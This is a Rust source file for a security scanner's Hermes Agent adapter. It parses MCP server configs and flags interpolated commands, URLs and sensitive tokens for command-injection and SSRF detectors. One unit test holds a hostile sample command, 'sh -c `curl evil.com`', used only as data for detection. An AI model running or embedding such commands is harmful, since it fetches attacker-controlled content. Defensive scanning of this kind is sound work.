1use std::path::{Path, PathBuf};
9
10use once_cell::sync::Lazy;
11use regex::Regex;
12
13use crate::analysis::cross_file::apply_cross_file_sanitization;
14use crate::analysis::sensitivity::looks_sensitive_name;
15use crate::config::ScanPathFilter;
16use crate::error::Result;
17use crate::ir::execution_surface::{
18 CommandInvocation, EnvAccess, ExecutionSurface, NetworkOperation,
19};
20use crate::ir::taint_builder::build_data_surface;
21use crate::ir::tool_surface::ToolSurface;
22use crate::ir::*;
23use crate::parser;
24
25pub struct HermesAgentAdapter;
31
32impl super::Adapter for HermesAgentAdapter {
33 fn framework(&self) -> Framework {
34 Framework::HermesAgent
35 }
36
37 fn detect(&self, root: &Path) -> bool {
38 let has_other_hermes_artifact = root.join(".hermes.md").exists()
39 || has_profile_config(root)
40 || has_hermes_skill_tree(root)
41 || has_optional_mcp_catalog(root);
42
43 has_other_hermes_artifact
48 || looks_like_hermes_config(&root.join("config.yaml"), has_other_hermes_artifact)
49 || looks_like_hermes_config(&root.join(".hermes").join("config.yaml"), true)
50 }
51
52 fn load(&self, root: &Path, ignore_tests: bool) -> Result<Vec<ScanTarget>> {
53 let filter = ScanPathFilter::for_ignore_tests(ignore_tests);
54 self.load_with_filter(root, &filter)
55 }
56
57 fn load_with_filter(&self, root: &Path, filter: &ScanPathFilter) -> Result<Vec<ScanTarget>> {
58 let name = root
59 .file_name()
60 .map(|n| n.to_string_lossy().to_string())
61 .unwrap_or_else(|| "hermes-agent".into());
62
63 let mut tools: Vec<ToolSurface> = Vec::new();
64 let mut execution = ExecutionSurface::default();
65 let mut source_files: Vec<SourceFile> = Vec::new();
66
67 collect_hermes_source_files(root, filter, &mut source_files)?;
68
69 for sf in &source_files {
70 if is_yaml_file(&sf.path) {
71 parse_mcp_servers_from_yaml(&sf.content, &sf.path, &mut tools, &mut execution);
72 }
73 }
74
75 let mut parsed_files: Vec<(PathBuf, parser::ParsedFile)> = Vec::new();
76 for sf in &source_files {
77 if let Some(parser) = parser::parser_for_language(sf.language) {
78 if let Ok(parsed) = parser.parse_file(&sf.path, &sf.content) {
79 parsed_files.push((sf.path.clone(), parsed));
80 }
81 }
82 }
83
84 apply_cross_file_sanitization(&mut parsed_files);
85
86 for (_, parsed) in parsed_files {
87 execution.commands.extend(parsed.commands);
88 execution.file_operations.extend(parsed.file_operations);
89 execution
90 .network_operations
91 .extend(parsed.network_operations);
92 execution.env_accesses.extend(parsed.env_accesses);
93 execution.dynamic_exec.extend(parsed.dynamic_exec);
94 }
95
96 let dependencies = super::mcp::parse_dependencies(root, filter);
97 let provenance = super::mcp::parse_provenance(root, filter);
98 let data = build_data_surface(&tools, &execution);
99
100 Ok(vec![ScanTarget {
101 name,
102 framework: Framework::HermesAgent,
103 root_path: root.to_path_buf(),
104 tools,
105 execution,
106 data,
107 dependencies,
108 provenance,
109 source_files,
110 }])
111 }
112}
113
114fn classify_config_value(value: &str) -> ArgumentSource {
125 if contains_config_interpolation(value) {
126 ArgumentSource::Interpolated
127 } else {
128 ArgumentSource::Literal(value.to_string())
129 }
130}
131
132static INTERPOLATION_RE: Lazy<Regex> = Lazy::new(|| {
133 Regex::new(r"\$\{[^}]+\}|\$\w+|\{\{[^}]+\}\}|`[^`]+`").expect("static regex pattern is valid")
134});
135
136fn contains_config_interpolation(value: &str) -> bool {
137 INTERPOLATION_RE.is_match(value)
138}
139
140fn looks_like_hermes_config(path: &Path, trust_model_alone: bool) -> bool {
148 let Ok(content) = std::fs::read_to_string(path) else {
149 return false;
150 };
151
152 has_top_level_key(&content, "mcp_servers")
153 || has_top_level_key(&content, "skills")
154 || has_top_level_key(&content, "terminal")
155 || has_top_level_key(&content, "gateway")
156 || has_top_level_key(&content, "sessions")
157 || (trust_model_alone && has_top_level_key(&content, "model"))
158}
159
160fn has_top_level_key(content: &str, key: &str) -> bool {
164 content.lines().any(|line| {
165 !line.starts_with(' ')
166 && !line.starts_with('\t')
167 && line
168 .trim_start()
169 .strip_prefix(key)
170 .is_some_and(|rest| rest.starts_with(':'))
171 })
172}
173
174fn has_profile_config(root: &Path) -> bool {
175 let profiles_dir = root.join("profiles");
176 let Ok(entries) = std::fs::read_dir(profiles_dir) else {
177 return false;
178 };
179
180 entries
181 .flatten()
182 .any(|entry| looks_like_hermes_config(&entry.path().join("config.yaml"), true))
183}
184
185fn has_hermes_skill_tree(root: &Path) -> bool {
186 has_skill_md_under(&root.join("skills")) || has_skill_md_under(&root.join("optional-skills"))
187}
188
189fn has_optional_mcp_catalog(root: &Path) -> bool {
190 let catalog_dir = root.join("optional-mcps");
191 let Ok(entries) = std::fs::read_dir(catalog_dir) else {
192 return false;
193 };
194
195 entries
196 .flatten()
197 .any(|entry| entry.path().join("manifest.yaml").exists())
198}
199
200fn has_skill_md_under(dir: &Path) -> bool {
201 let Ok(entries) = std::fs::read_dir(dir) else {
202 return false;
203 };
204
205 entries.flatten().any(|entry| {
206 let path = entry.path();
207 path.join("SKILL.md").exists() || has_skill_md_under(&path)
208 })
209}
210
211fn collect_hermes_source_files(
212 root: &Path,
213 filter: &ScanPathFilter,
214 source_files: &mut Vec<SourceFile>,
215) -> Result<()> {
216 for path in [
217 root.join("config.yaml"),
218 root.join(".hermes").join("config.yaml"),
219 root.join(".hermes.md"),
220 root.join("SOUL.md"),
221 ] {
222 push_source_file_if_allowed(root, &path, filter, source_files)?;
223 }
224
225 collect_profile_configs(root, filter, source_files)?;
226
227 for dir in [
228 root.join("skills"),
229 root.join("optional-skills"),
230 root.join("optional-mcps"),
231 ] {
232 collect_artifact_tree(root, &dir, filter, source_files)?;
233 }
234
235 Ok(())
236}
237
238fn collect_profile_configs(
239 root: &Path,
240 filter: &ScanPathFilter,
241 source_files: &mut Vec<SourceFile>,
242) -> Result<()> {
243 let profiles_dir = root.join("profiles");
244 let Ok(entries) = std::fs::read_dir(profiles_dir) else {
245 return Ok(());
246 };
247
248 for entry in entries.flatten() {
249 push_source_file_if_allowed(
250 root,
251 &entry.path().join("config.yaml"),
252 filter,
253 source_files,
254 )?;
255 }
256
257 Ok(())
258}
259
260fn collect_artifact_tree(
261 root: &Path,
262 dir: &Path,
263 filter: &ScanPathFilter,
264 source_files: &mut Vec<SourceFile>,
265) -> Result<()> {
266 if !dir.exists() {
267 return Ok(());
268 }
269
270 let walker = ignore::WalkBuilder::new(dir)
271 .hidden(true)
272 .git_ignore(true)
273 .max_depth(Some(6))
274 .build();
275
276 for entry in walker.flatten() {
277 let path = entry.path();
278 if !path.is_file() {
279 continue;
280 }
281
282 if filter.ignore_tests() && super::mcp::is_test_file(path) {
283 continue;
284 }
285
286 if !filter.allows_path(root, path) {
287 continue;
288 }
289
290 let Some(file_name) = path.file_name().map(|n| n.to_string_lossy()) else {
291 continue;
292 };
293
294 let language = language_for_path(path);
295 let is_relevant = file_name == "SKILL.md"
296 || file_name == "manifest.yaml"
297 || matches!(
298 language,
299 Language::Python
300 | Language::Shell
301 | Language::JavaScript
302 | Language::TypeScript
303 | Language::Json
304 | Language::Yaml
305 | Language::Markdown
306 );
307
308 if is_relevant {
309 push_source_file(path, source_files)?;
310 }
311 }
312
313 Ok(())
314}
315
316fn push_source_file_if_allowed(
317 root: &Path,
318 path: &Path,
319 filter: &ScanPathFilter,
320 source_files: &mut Vec<SourceFile>,
321) -> Result<()> {
322 if filter.allows_path(root, path) {
323 push_source_file(path, source_files)?;
324 }
325 Ok(())
326}
327
328fn push_source_file(path: &Path, source_files: &mut Vec<SourceFile>) -> Result<()> {
329 if !path.exists() || !path.is_file() {
330 return Ok(());
331 }
332
333 let metadata = std::fs::metadata(path)?;
334 if metadata.len() > 1_048_576 {
335 return Ok(());
336 }
337
338 if let Ok(content) = std::fs::read_to_string(path) {
339 let hash = format!(
340 "{:x}",
341 sha2::Digest::finalize(sha2::Sha256::new().chain_update(content.as_bytes()))
342 );
343 source_files.push(SourceFile {
344 path: path.to_path_buf(),
345 language: language_for_path(path),
346 size_bytes: metadata.len(),
347 content_hash: hash,
348 content,
349 });
350 }
351
352 Ok(())
353}
354
355fn language_for_path(path: &Path) -> Language {
356 let Some(file_name) = path.file_name().map(|n| n.to_string_lossy()) else {
357 return Language::Unknown;
358 };
359
360 if file_name == ".hermes.md" || file_name == "SKILL.md" || file_name == "SOUL.md" {
361 return Language::Markdown;
362 }
363
364 let ext = path
365 .extension()
366 .map(|e| e.to_string_lossy().to_string())
367 .unwrap_or_default();
368 Language::from_extension(&ext)
369}
370
371fn is_yaml_file(path: &Path) -> bool {
372 matches!(language_for_path(path), Language::Yaml)
373}
374
375#[derive(Debug, Default)]
376struct HermesMcpServer {
377 name: String,
378 command: Option<String>,
379 args: Vec<String>,
380 url: Option<String>,
381 env_vars: Vec<String>,
382 headers: Vec<String>,
383 enabled: bool,
384 line: usize,
385}
386
387fn parse_mcp_servers_from_yaml(
388 content: &str,
389 path: &Path,
390 tools: &mut Vec<ToolSurface>,
391 execution: &mut ExecutionSurface,
392) {
393 let servers = parse_mcp_server_entries(content);
394
395 for server in servers.into_iter().filter(|server| server.enabled) {
396 let location = SourceLocation {
397 file: path.to_path_buf(),
398 line: server.line,
399 column: 0,
400 end_line: None,
401 end_column: None,
402 };
403
404 tools.push(ToolSurface {
405 name: server.name.clone(),
406 description: Some(format!(
407 "MCP server '{}' configured in Hermes Agent",
408 server.name
409 )),
410 input_schema: Some(serde_json::json!({
411 "type": "object",
412 "properties": {}
413 })),
414 output_schema: None,
415 declared_permissions: vec![],
416 defined_at: Some(location.clone()),
417 declared_capabilities: Default::default(),
418 capability_declarations: Vec::new(),
419 observed_capabilities: Default::default(),
420 capability_observation_complete: false,
421 capability_evidence: Vec::new(),
422 });
423
424 if let Some(command) = server.command {
425 let full_command = if server.args.is_empty() {
426 command.clone()
427 } else {
428 format!("{} {}", command, server.args.join(" "))
429 };
430 execution.commands.push(CommandInvocation {
431 function: command,
432 command_arg: classify_config_value(&full_command),
433 location: location.clone(),
434 });
435 }
436
437 if let Some(url) = server.url {
438 execution.network_operations.push(NetworkOperation {
439 function: "hermes.mcp.http".into(),
440 url_arg: classify_config_value(&url),
441 method: None,
442 sends_data: true,
443 location: location.clone(),
444 });
445 }
446
447 for var_name in server.env_vars {
448 execution.env_accesses.push(EnvAccess {
449 is_sensitive: looks_sensitive_name(&var_name),
450 var_name: ArgumentSource::Literal(var_name),
451 location: location.clone(),
452 });
453 }
454
455 for header_name in server.headers {
456 execution.env_accesses.push(EnvAccess {
457 is_sensitive: looks_sensitive_name(&header_name),
458 var_name: ArgumentSource::Literal(format!("header:{header_name}")),
459 location: location.clone(),
460 });
461 }
462 }
463}
464
465fn parse_mcp_server_entries(content: &str) -> Vec<HermesMcpServer> {
466 let mut servers = Vec::new();
467 let mut in_mcp_servers = false;
468 let mut mcp_indent = 0usize;
469 let mut current: Option<HermesMcpServer> = None;
470 let mut current_indent = 0usize;
471 let mut section: Option<&str> = None;
472
473 for (line_index, raw_line) in content.lines().enumerate() {
474 let line_no = line_index + 1;
475 let trimmed = raw_line.trim();
476 if trimmed.is_empty() || trimmed.starts_with('#') {
477 continue;
478 }
479
480 let indent = raw_line.len() - raw_line.trim_start().len();
481 if trimmed == "mcp_servers:" {
482 in_mcp_servers = true;
483 mcp_indent = indent;
484 continue;
485 }
486
487 if !in_mcp_servers {
488 continue;
489 }
490
491 if indent <= mcp_indent {
492 break;
493 }
494
495 if indent == mcp_indent + 2 && trimmed.ends_with(':') && !trimmed.contains(' ') {
496 if let Some(server) = current.take() {
497 servers.push(server);
498 }
499 let name = trimmed.trim_end_matches(':').to_string();
500 current = Some(HermesMcpServer {
501 name,
502 enabled: true,
503 line: line_no,
504 ..Default::default()
505 });
506 current_indent = indent;
507 section = None;
508 continue;
509 }
510
511 let Some(server) = current.as_mut() else {
512 continue;
513 };
514
515 if indent <= current_indent {
516 section = None;
517 continue;
518 }
519
520 if trimmed == "env:" || trimmed == "headers:" || trimmed == "args:" {
521 section = Some(trimmed.trim_end_matches(':'));
522 continue;
523 }
524
525 if let Some(value) = trimmed.strip_prefix("command:") {
526 server.command = Some(clean_scalar(value));
527 section = None;
528 continue;
529 }
530
531 if let Some(value) = trimmed.strip_prefix("url:") {
532 server.url = Some(clean_scalar(value));
533 section = None;
534 continue;
535 }
536
537 if let Some(value) = trimmed.strip_prefix("enabled:") {
538 server.enabled = clean_scalar(value) != "false";
539 section = None;
540 continue;
541 }
542
543 if let Some(value) = trimmed.strip_prefix("args:") {
544 server.args.extend(parse_inline_list(value));
545 section = Some("args");
546 continue;
547 }
548
549 match section {
550 Some("env") => {
551 if let Some((key, _)) = trimmed.split_once(':') {
552 server.env_vars.push(clean_scalar(key));
553 }
554 }
555 Some("headers") => {
556 if let Some((key, _)) = trimmed.split_once(':') {
557 server.headers.push(clean_scalar(key));
558 }
559 }
560 Some("args") => {
561 if let Some(arg) = trimmed.strip_prefix('-') {
562 server.args.push(clean_scalar(arg));
563 }
564 }
565 _ => {}
566 }
567 }
568
569 if let Some(server) = current {
570 servers.push(server);
571 }
572
573 servers
574}
575
576fn parse_inline_list(value: &str) -> Vec<String> {
577 let value = value.trim();
578 if !value.starts_with('[') || !value.ends_with(']') {
579 return Vec::new();
580 }
581
582 value
583 .trim_start_matches('[')
584 .trim_end_matches(']')
585 .split(',')
586 .map(clean_scalar)
587 .filter(|item| !item.is_empty())
588 .collect()
589}
590
591fn clean_scalar(value: &str) -> String {
592 value
593 .trim()
594 .trim_matches('"')
595 .trim_matches('\'')
596 .to_string()
597}
598
599use sha2::Digest;
600
601#[cfg(test)]
602mod tests {
603 use super::*;
604 use crate::adapter::Adapter;
605
606 fn fixture_dir() -> PathBuf {
607 PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/hermes_agent")
608 }
609
610 #[test]
611 fn test_detect_hermes_agent() {
612 let adapter = HermesAgentAdapter;
613 assert!(adapter.detect(&fixture_dir()));
614 }
615
616 #[test]
617 fn test_detect_non_hermes_project() {
618 let adapter = HermesAgentAdapter;
619 let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
620 .join("tests/fixtures/mcp_servers/safe_calculator");
621 assert!(!adapter.detect(&dir));
622 }
623
624 #[test]
625 fn test_bare_model_key_alone_does_not_detect_hermes() {
626 let temp = tempfile::tempdir().unwrap();
627 std::fs::write(temp.path().join("config.yaml"), "model: gpt-4\n").unwrap();
628
629 let adapter = HermesAgentAdapter;
630 assert!(
631 !adapter.detect(temp.path()),
632 "a generic config.yaml with only `model:` should not be detected as Hermes"
633 );
634 }
635
636 #[test]
637 fn test_model_key_under_hermes_dir_detects_hermes() {
638 let temp = tempfile::tempdir().unwrap();
639 std::fs::create_dir_all(temp.path().join(".hermes")).unwrap();
640 std::fs::write(
641 temp.path().join(".hermes").join("config.yaml"),
642 "model: gpt-4\n",
643 )
644 .unwrap();
645
646 let adapter = HermesAgentAdapter;
647 assert!(
648 adapter.detect(temp.path()),
649 ".hermes/config.yaml with `model:` should be detected as Hermes"
650 );
651 }
652
653 #[test]
654 fn test_mcp_servers_key_detects_hermes() {
655 let temp = tempfile::tempdir().unwrap();
656 std::fs::write(
657 temp.path().join("config.yaml"),
658 "mcp_servers:\n svc:\n command: npx\n",
659 )
660 .unwrap();
661
662 let adapter = HermesAgentAdapter;
663 assert!(
664 adapter.detect(temp.path()),
665 "a config.yaml with `mcp_servers:` should be detected as Hermes"
666 );
667 }
668
669 #[test]
670 fn test_load_hermes_framework() {
671 let adapter = HermesAgentAdapter;
672 let targets = adapter.load(&fixture_dir(), false).unwrap();
673 assert_eq!(targets.len(), 1);
674 assert_eq!(targets[0].framework, Framework::HermesAgent);
675 }
676
677 #[test]
678 fn test_load_hermes_mcp_servers() {
679 let adapter = HermesAgentAdapter;
680 let targets = adapter.load(&fixture_dir(), false).unwrap();
681 let target = &targets[0];
682
683 let tool_names: Vec<&str> = target.tools.iter().map(|tool| tool.name.as_str()).collect();
684 assert!(tool_names.contains(&"filesystem"));
685 assert!(tool_names.contains(&"company_api"));
686 assert!(!tool_names.contains(&"legacy"));
687
688 assert!(
689 target
690 .execution
691 .commands
692 .iter()
693 .any(|command| command.function == "npx")
694 );
695 assert!(target
696 .execution
697 .network_operations
698 .iter()
699 .any(|network| matches!(&network.url_arg, ArgumentSource::Literal(url) if url == "https://mcp.internal.example.com")));
700 }
701
702 #[test]
703 fn test_load_hermes_sensitive_env_and_headers() {
704 let adapter = HermesAgentAdapter;
705 let targets = adapter.load(&fixture_dir(), false).unwrap();
706 let target = &targets[0];
707
708 assert!(target.execution.env_accesses.iter().any(|env| {
709 env.is_sensitive
710 && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "GITHUB_PERSONAL_ACCESS_TOKEN")
711 }));
712 assert!(target.execution.env_accesses.iter().any(|env| {
713 env.is_sensitive
714 && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "header:Authorization")
715 }));
716 }
717
718 #[test]
719 fn test_classify_config_value_plain_literal() {
720 assert_eq!(
721 classify_config_value("https://api.example.com"),
722 ArgumentSource::Literal("https://api.example.com".into())
723 );
724 assert_eq!(
725 classify_config_value("npx -y @modelcontextprotocol/server-filesystem"),
726 ArgumentSource::Literal("npx -y @modelcontextprotocol/server-filesystem".into())
727 );
728 }
729
730 #[test]
731 fn test_classify_config_value_detects_interpolation() {
732 for value in [
733 "${MCP_URL}",
734 "$MCP_URL",
735 "{{base_url}}/api",
736 "sh -c `curl evil.com`",
737 ] {
738 assert_eq!(
739 classify_config_value(value),
740 ArgumentSource::Interpolated,
741 "{value} should be classified as Interpolated"
742 );
743 }
744 }
745
746 fn run_rule_on_hermes_config(rule_id: &str, content: &str) -> Vec<crate::rules::Finding> {
747 let temp = tempfile::tempdir().unwrap();
748 std::fs::write(temp.path().join("config.yaml"), content).unwrap();
749
750 let adapter = HermesAgentAdapter;
751 let targets = adapter.load(temp.path(), false).unwrap();
752 crate::rules::builtin::all_detectors()
753 .into_iter()
754 .find(|d| d.metadata().id == rule_id)
755 .unwrap_or_else(|| panic!("no detector registered for {rule_id}"))
756 .run(&targets[0])
757 }
758
759 #[test]
760 fn test_literal_url_does_not_trigger_ssrf() {
761 let content = "mcp_servers:\n svc:\n url: https://api.example.com\n";
762 let findings = run_rule_on_hermes_config("SHIELD-003", content);
763 assert!(
764 findings.is_empty(),
765 "a plain literal URL should not trigger SHIELD-003, got {findings:?}"
766 );
767 }
768
769 #[test]
770 fn test_interpolated_url_triggers_ssrf() {
771 let content = "mcp_servers:\n svc:\n url: \"{{base_url}}/api\"\n";
772 let findings = run_rule_on_hermes_config("SHIELD-003", content);
773 assert!(
774 !findings.is_empty(),
775 "an interpolated URL should trigger SHIELD-003"
776 );
777 }
778
779 #[test]
780 fn test_interpolated_command_arg_triggers_command_injection() {
781 let content =
782 "mcp_servers:\n svc:\n command: sh\n args: [\"-c\", \"${USER_CMD}\"]\n";
783 let findings = run_rule_on_hermes_config("SHIELD-001", content);
784 assert!(
785 !findings.is_empty(),
786 "an interpolated command arg should trigger SHIELD-001"
787 );
788 }
789}